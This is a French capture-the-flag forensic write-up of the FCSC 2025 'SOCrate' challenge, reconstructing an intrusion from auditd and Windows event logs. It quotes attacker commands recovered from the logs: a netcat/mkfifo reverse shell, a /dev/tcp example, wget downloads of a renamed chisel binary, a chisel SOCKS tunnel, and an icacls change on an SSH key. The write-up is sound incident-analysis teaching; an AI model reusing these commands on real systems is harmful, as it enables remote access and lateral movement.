Featured image of post [Hackropole] - SOCrate By ribt
Forensic

[Hackropole] - SOCrate By ribt

Yop ;) Voici un nouveau Write-up cette fois-ci du challenge SOCrate sortie pour le FCSC 2025.

Description

Description

SOCrate 1/6 - Technologie 

1
2
3

Sur la machine webserver, sous quel chemin tourne l’application web ?

FCSC{/var/www/***/************/}

En téléchargeant le fichier fourni avec le challenge, on récupère un grand nombre de fichiers de log, chacun dans un dossier Windows ou Linux.

On effectue rapidement une analyse avec grep dans ces dossiers :

grep -rE "/(var/www)/[^\s\"']+" ./20230612 ./20230613 ... | tee c

1

/20230613/20230613T170001.log:node=webserver type=SYSCALL msg=audit(1686675557.406:8569): arch=c000003e syscall=42 success=no exit=-115 a0=6 a1=c0003c202c a2=10 a3=0 items=0 ppid=9427 pid=9428 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm="text" exe="/var/www/app/banque_paouf/text" subj=unconfined key="outbound_connection" ARCH=x86_64 SYSCALL=connect AUID="unset" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root"

Flag : FCSC{/var/www/app/banque_paouf/}

SOCrate 2/6 - Reverse shell 

1
2
3
4
5

L’attaquant a exécuté un reverse shell sur une machine. Retrouver la commande correspondant à l’exécution de ce reverse shell.

Format du flag : FCSC{LIGNE_DE_COMMANDE}

Exemple : FCSC{bash -i >& /dev/tcp/10.42.43.44/1234 0>&1}

Après avoir mis en place un environnement d’analyse pour notre dossier Windows, j’ai l’impression que, pour ce challenge, cela ne va pas nous être très utile et qu’il va plutôt falloir se concentrer sur les logs Linux.

On se documente donc avec google et nous lisons ceci RedHat

On retrouve donc 4 types d’informations pour un évènement:

1
2
3
4

type=SYSCALL msg=audit(1364481363.243:24287): arch=c000003e syscall=2 success=no exit=-13 a0=7fffd19c5592 a1=0 a2=7fffd19c4b50 a3=a items=1 ppid=2686 pid=3538 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=1 comm="cat" exe="/bin/cat" subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key="sshd_config"
type=CWD msg=audit(1364481363.243:24287):  cwd="/home/shadowman"
type=PATH msg=audit(1364481363.243:24287): item=0 name="/etc/ssh/sshd_config" inode=409248 dev=fd:00 mode=0100600 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:etc_t:s0  objtype=NORMAL cap_fp=none cap_fi=none cap_fe=0 cap_fver=0
type=PROCTITLE msg=audit(1364481363.243:24287) : proctitle=636174002F6574632F7373682F737368645F636F6E666967
  • type=SYSCALL : the SYSCALL value specifies that this record was triggered by a system call to the kernel.
  • type=CWD : CWD — current working directory. This type is used to record the working directory from which the process that invoked the system call specified in the first record was executed.
  • type=PATH : An Audit event contains a PATH-type record for every path that is passed to the system call as an argument. In this Audit event, only one path (/etc/ssh/sshd_config) was used as an argument.
  • type=PROCTITLE : In this example, the PROCTITLE value specifies that this record gives the full command-line that triggered this Audit event, triggered by a system call to the kernel.

On va donc utiliser l’outil ausearch, car on est là pour apprendre, même si grep reste très efficace. Pour simplifier l’analyse, j’ai regroupé tous les fichiers de log en un seul :

cat *.log > all_event_logs.log

On commence ensuite à appliquer des filtres avec ausearch. On sait que proctitle contient les lignes de commande, encodées en hexadécimal, que l’on peut facilement décoder.

On va également filtrer sur le processus concerné. On suppose que l’attaquant a exécuté son reverse shell via bash (même si j’ai aussi testé d’autres pistes, comme un encodage avec base64, etc.).

La commande utilisée est donc :

ausearch -x bash -if all_logs_combined.log --interpret

Nous obtenons de nombreux résultats comme ci-dessous :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

----
[...]
node=webserver type=EOE msg=audit(13/06/2023 10:38:55.854:2903) : 

node=webserver type=PROCTITLE msg=audit(13/06/2023 10:38:55.854:2903) : proctitle=/bin/bash -c rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 80.125.9.58 50012 >/tmp/f 
node=webserver type=PATH msg=audit(13/06/2023 10:38:55.854:2903) : item=1 name=/lib64/ld-linux-x86-64.so.2 inode=3604 dev=fc:01 mode=file,755 ouid=root ogid=root rdev=00:00 nametype=NORMAL cap_fp=none cap_fi=none cap_fe=0 cap_fver=0 cap_frootid=0 OUID="root" OGID="root" 
node=webserver type=PATH msg=audit(13/06/2023 10:38:55.854:2903) : item=0 name=/bin/bash inode=1625 dev=fc:01 mode=file,755 ouid=root ogid=root rdev=00:00 nametype=NORMAL cap_fp=none cap_fi=none cap_fe=0 cap_fver=0 cap_frootid=0 OUID="root" OGID="root" 
node=webserver type=CWD msg=audit(13/06/2023 10:38:55.854:2903) : cwd=/var/www/app/banque_paouf 
node=webserver type=EXECVE msg=audit(13/06/2023 10:38:55.854:2903) : argc=3 a0=/bin/bash a1=-c a2=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 80.125.9.58 50012 >/tmp/f 
----
[...]

On retrouve rapidement la commande qui a potentiellement permis l’exécution du reverse shell : /bin/bash -c rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 80.125.9.58 50012 >/tmp/f, Cependant, on peut affiner davantage la recherche en ajoutant un simple grep :

ausearch -x bash -if all_logs_combined.log --interpret | grep "proctitle"

reverse shell

Il est également possible de réaliser la même chose de la manière suivante :

grep 'type=PROCTITLE' all_logs_combined.log | grep -Ei '2f62696e2f62617368|62617368' | sed -n 's/.*proctitle=//p' | while read hex; do echo "$hex" | xxd -r -p | tr '\0' ' '; echo; done

On se retrouve donc avec :

Flag : FCSC{/bin/bash -c rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 80.125.9.58 50012 >/tmp/f}

SOCrate 3/6 - Outil téléchargé 

1
2
3
4
5
6
7

L’attaquant a utilisé le reverse shell de la question précédente pour télécharger un outil. Il a ensuite exécuté cet outil.

Retrouver l’URL du téléchargement et retrouver le nom original de l’outil (le binaire ayant été renommé).

Format du flag : FCSC{URL|NOM_ORIGINAL}

Exemple : FCSC{https://10.42.43.44/toto|nmap}

La première occurence du reverse shell que nous avons vu précédemment est la suivante :

node=webserver type=PROCTITLE msg=audit(13/06/2023 10:38:55.854:2903) : proctitle=/bin/bash -c rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 80.125.9.58 50012 >/tmp/f

Nous avons donc, une ip, un port, ainsi qu’une date. Après de nombreux tests on obtient le filtre suivant :

ausearch -ts 13/06/2023 10:38:55 -c wget -if all_logs_combined.log --interpret --node webserver |grep "80.125.9.58"

L’option -c permet de filtrer sur le processus, ce qui est particulièrement utile car ça nous permet rapidement de tester les variantes wget/curl etc…

On obtient le résultat suivant :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

node=webserver type=PROCTITLE msg=audit(13/06/2023 10:51:07.966:2918) : proctitle=wget http://80.125.9.58/cat 
node=webserver type=EXECVE msg=audit(13/06/2023 10:51:07.966:2918) : argc=2 a0=wget a1=http://80.125.9.58/cat 
node=webserver type=PROCTITLE msg=audit(13/06/2023 10:51:08.214:2919) : proctitle=wget http://80.125.9.58/cat 
node=webserver type=SOCKADDR msg=audit(13/06/2023 10:51:08.214:2919) : saddr={ saddr_fam=inet laddr=80.125.9.58 lport=80 } SADDR={ saddr_fam=inet laddr=80.125.9.58 lport=80 
node=webserver type=PROCTITLE msg=audit(13/06/2023 10:53:00.058:2930) : proctitle=wget http://80.125.9.58:80/text 
node=webserver type=EXECVE msg=audit(13/06/2023 10:53:00.058:2930) : argc=2 a0=wget a1=http://80.125.9.58:80/text 
node=webserver type=PROCTITLE msg=audit(13/06/2023 10:53:00.534:2931) : proctitle=wget http://80.125.9.58:80/text 
node=webserver type=SOCKADDR msg=audit(13/06/2023 10:53:00.534:2931) : saddr={ saddr_fam=inet laddr=80.125.9.58 lport=80 } SADDR={ saddr_fam=inet laddr=80.125.9.58 lport=80 
node=webserver type=PROCTITLE msg=audit(13/06/2023 10:58:23.870:3009) : proctitle=wget http://80.125.9.58:80/text 
node=webserver type=EXECVE msg=audit(13/06/2023 10:58:23.870:3009) : argc=2 a0=wget a1=http://80.125.9.58:80/text 
node=webserver type=PROCTITLE msg=audit(13/06/2023 10:58:24.122:3010) : proctitle=wget http://80.125.9.58:80/text 
node=webserver type=SOCKADDR msg=audit(13/06/2023 10:58:24.122:3010) : saddr={ saddr_fam=inet laddr=80.125.9.58 lport=80 } SADDR={ saddr_fam=inet laddr=80.125.9.58 lport=80

Sachant que nous avion déjà vu passer le binaire text à le question précédente. Et que nous avons vu son utilisation nous savons qu’il est plutôt louche, confirmons le de la manière suivante :

ausearch -ts 13/06/2023 10:38:55 -c text -if all_logs_combined.log --interpret --node webserver |grep "80.125.9.58"

Ce qui nous donne d’innombrables résultats :

1
2
3
4
5
6
7

node=webserver type=PROCTITLE msg=audit(14/06/2023 12:38:37.834:11555) : proctitle=./text client -v 80.125.9.58:4444 R:socks  
node=webserver type=PROCTITLE msg=audit(14/06/2023 12:38:37.866:11558) : proctitle=./text client -v 80.125.9.58:4444 R:socks 

[...]

node=webserver type=PROCTITLE msg=audit(14/06/2023 12:50:50.546:11589) : proctitle=./text client -v 80.125.9.58:4444 R:socks 
node=webserver type=PROCTITLE msg=audit(14/06/2023 12:50:50.550:11590) : proctitle=./text client -v 80.125.9.58:4444 R:socks

Si on connait rapidement l’outil chisel, on remarque que le binaire semble fonctionner de la même manière. Autrement en demandant à un LLM :

chisel ?

Nous obtenons ainsi le flag ;)

Flag : FCSC{http://80.125.9.58:80/text|chisel}

SOCrate 4/6 - Latéralisation 

1
2
3
4
5

L’outil identifié à la question 3 a effectué plusieurs requêtes LDAP. Trouvez l’IP et le FQDN de la machine ciblée par ces requêtes.

Format du flag : FCSC{IP|FQDN}

Exemple : FCSC{10.42.43.44|service.gouv.lan}

En cherchant dans les logs Linux avec un filtre sur le port 389 qui correspond au port LDAP :

ausearch -ts 13/06/2023 10:38:55 -if all_logs_combined.log --interpret --node webserver | grep -iE "389"

On remarque les résultats suivants :

1
2
3
4

node=webserver type=SOCKADDR msg=audit(14/06/2023 14:02:42.250:11704) : saddr={ saddr_fam=inet laddr=172.16.42.10 lport=389 } SADDR={ saddr_fam=inet laddr=172.16.42.10 lport=389 
node=webserver type=SOCKADDR msg=audit(14/06/2023 14:06:01.786:11719) : saddr={ saddr_fam=inet laddr=172.16.42.10 lport=389 } SADDR={ saddr_fam=inet laddr=172
...
node=webserver type=SOCKADDR msg=audit(14/06/2023 17:03:35.753:12085) : saddr={ saddr_fam=inet laddr=172.16.42.10 lport=389 } SADDR={ saddr_fam=inet laddr=172.16.42.10 lport=389

On récupère ainsi une ip qui semble pertinente : 172.16.42.10, cependant aucune mention de cette ip n’est mentionné au sein des logs linux, étant donné qu’on nous demande le FQDN on peut supposer qu’il faut rechercher au sein de logs Windows. Ainsi, un simple filtre de recherche dans TimelineExplorer sur l’ip, nous permet d’obtenir l’information que le FQDN associé est : DC01-SRV.cipherpol.gouv

On valide ainsi le challenge :

Flag : FCSC{172.16.42.10|DC01-SRV.cipherpol.gouv}

SOCrate 5/6 - Vol de clés 

1
2
3
4
5

L’attaquant cherchait à récupérer un fichier sensible présent sur une machine, mais il n’avait pas les droits suffisants. Il s’est donné les permissions puis a téléchargé le fichier. Retrouvez le FQDN de la machine cible et le chemin de ce fichier. Retrouvez également l’adresse IP source depuis laquelle l’attaquant opérait pour se connecter à la machine cible.

Fomat du flag (insensible à la casse) : FCSC{FQDN_VICTIME|CHEMIN_ABSOLU|IP_SOURCE}

Exemple : FCSC{laptop-1337.gouv.lan|C:\Users\Public\secret.pdf|10.42.43.44}

Nous savons que l’attaquant a cherché à obtenir davantage de droits. Pour ce faire, une commande très connue est icacls. En filtrant sur cette recherche dans Timeline Explorer, on retrouve les résultats suivants :

icacls

L’attaquant cherche donc à changer les droits sur le fichier suivant : C:\Users\jeanne.dias\.ssh\vm1.pem de la machine WORKSTATION2.cipherpol.gouv, il nous reste à trouver l’ip depuis laquelle il s’est connecté. En filtrant sur les Target Logon ID (LID), je n’ai rien trouvé au travers de Timeline Explorer, cependant au travers des commandes :

1
2
3

rg -i "0x84c794" --binary -E UTF-16 ./

strings -el ./20230616T125500.evtx | grep -C 10 "0x84c794"

J’ai pu trouvé l’IP en question :

ip

Flag : FCSC{WORKSTATION2.cipherpol.gouv|C:\Users\jeanne.dias\.ssh\vm1.pem|172.16.45.110}

SOCrate 6/6 Outil utilisé 

1
2
3

L’action décrite dans la question 5 est réalisée en utilisant un outil offensif bien connu. Quel est le nom de cet outil ?

Fomat du flag (insensible à la casse) : FCSC{nom}

Lors de la génération des CSV Hayabusa, nous sort de nombreuses alertes critiques comme suit :

hayabusa report

En se renseignant sur Wmiexec on retrouve les mêmes payloads que nous étudions durant la question précédente, ce qui nous permet de définir l’outil utilisé.

Flag : FCSC{wmiexec}

Conclusion

Encore un super challenge proposé par ribt, j’ai également encore une fois eu des pertes d’évènements entre Hayabusa et TimelineExplorer, ce qui me fait considérer d’utiliser d’autres outils comme Splunk pour des analyses plus verbeuse, en corrélation avec Hayabusa qui nous donne beaucoup d’informations.